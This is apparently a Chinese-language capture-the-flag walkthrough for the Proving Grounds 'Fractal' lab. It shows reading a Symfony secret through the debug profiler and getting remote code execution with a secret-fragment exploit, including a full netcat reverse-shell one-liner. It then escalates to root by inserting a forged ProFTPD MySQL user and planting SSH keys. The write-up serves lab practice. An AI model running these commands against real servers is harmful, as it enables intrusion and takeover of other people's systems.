Proving Grounds Practice : Fractal Walkthrough
Proving Grounds Practice : Fractal Walkthrough
Foothold :
- 網站發現 Symfony,讀取預設路徑的 app/config/parameters.yml 檔獲得 secret 密鑰
- 透過 Symfony 漏洞利用,直接使用 RCE 的方式獲取 Reverse Shell
PE :
- 此台靶機有安裝 ProFTPD 服務,從 ProFTPD 結合 MySQL 的漏洞利用知道
- 可以透過在資料庫塞入相同使用者名稱的 UID、GID 但密碼不同的 FTP 使用者
- 透過 FTP 登入去家目錄新增 authorized_keys 然後登入為該使用者
- sudo -l 不用密碼直接提權
Rustscan,└─$ rustscan -a 192.168.223.233 --scripts none --ulimit 5000 | tee rustscan
nmap,└─$ sudo nmap -sCV -A -p 21,22,80 192.168.223.233 | tee nmap
FTP 測試匿名、ftp:ftp、ftp:password 等皆登入失敗
80 /
searchsploit Symfony
看來可能有 LFI
80 /robots.txt
80 /app_dev.php
點了右下角的 sf 3.4.46 跳轉如下
底下還有 phpinfo
80 /app_dev.php/_profiler/phpinfo
gobuster 80 /
80 /phpmyadmin
測試了幾個常用帳號密碼都沒有用
參考 Symfony Web 框架文件以及針對 Symfony 3.4 版本資料庫預設設定檔位置
確認路徑在 app/config/parameters.yml
以及 Symfony 的 Exploit 去讀取檔案
http://192.168.223.233/app_dev.php/_profiler/open?file=app/config/parameters.yml
獲得一組憑證 symfony:symfony_db_password
以及 secret: 48a8538e6260789558f0dfe29861c05b
補充說明 :
參考 https://symfony.com/doc/4.x/configuration/front_controllers_and_kernel.html#debug-mode
Symfony 系統偵錯模式和分析要查找下列路徑
- https://example.com/_profiler
- https://example.com/app_dev.php/_profiler
- https://example.com/app_dev.php
查找時還有發現 Symfony 的 Exploiy
參考 : https://github.com/ambionics/symfony-exploits/blob/main/secret_fragment_exploit.py
這個 Exploit 是透過拿到的 secret 去做 URL encode
使用 └─$ python3 secret_fragment_exploit.py 'http://192.168.223.233/_fragment' --method 2 --secret '48a8538e6260789558f0dfe29861c05b' --algo 'sha256' --internal-url 'http://192.168.223.233/_fragment' --function system --parameters 'id'
將產出的 encode URL 貼到瀏覽器即可獲得 "id" 資訊
修改 id 為 cat /etc/passwd
指令改 rm 拿 Reverse Shell
└─$ python3 secret_fragment_exploit.py 'http://192.168.223.233/_fragment' --method 2 --secret '48a8538e6260789558f0dfe29861c05b' --algo 'sha256' --internal-url 'http://192.168.223.233/_fragment' --function system --parameters 'rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.45.168 80 >/tmp/f'
80 Reverse Shell 進來了,獲取第一階段 flag
cat /etc/passwd
獲得使用者 benoit
發現 ProFTPD 服務整合 MySQL 模組有啟用
/etc/proftpd 底下有個 sql.conf 裡面看到帳號密碼
proftpd:protfpd_with_MYSQL_password
在 table 裡面發現一組憑證 www | {md5}RDLDFEKYiwjDGYuwpgb7Cw==
但是該 HASH 解不開
參考 ProFTPD 整合 MySQL 的漏洞利用,發現使用者會參考系統的 UID、GID 等
解不開就自記建立一組帳號密碼
參考 https://medium.com/@nico26deo/how-to-set-up-proftpd-with-a-mysql-backend-on-ubuntu-c6f23a638caf
依據文章內容自己先產生一組密碼為 password
/bin/echo "{md5}"`/bin/echo -n "testpass" | openssl dgst -binary -md5 | openssl enc -base64`
{md5}F5rUXGziy5fPECniEgRugQ==
新增兩個使用者 benoit、aries
benoit 的 UID、GID 要使用跟 /etc/passwd 列舉的一樣
aries 是用來測試的看看可不可以修改而已,事實上是可以
INSERT INTO ftpuser (id, userid, passwd, uid, gid, homedir, shell, count, accessed, modified) VALUES (NULL, 'aries', '{md5}F5rUXGziy5fPECniEgRugQ==', 1000, 1000, '/', '/bin/bash', 0, '2024-08-13 00:01:02', '2024-08-13 00:01:02');
FTP 登入後到 benoit 的家目錄,建立 .ssh 資料夾然後塞入自己建立的 authorized_keys
ssh 帶 key 進入,sudo -l 可以執行任意指令,直接提權為 root 獲取 flag
補充說明 :
WalkThrough 裡面關於 ProFTPD 建立使用者的說明與應用
update ftpuser set uid=1000,gid=1000 where id=1;
留言
張貼留言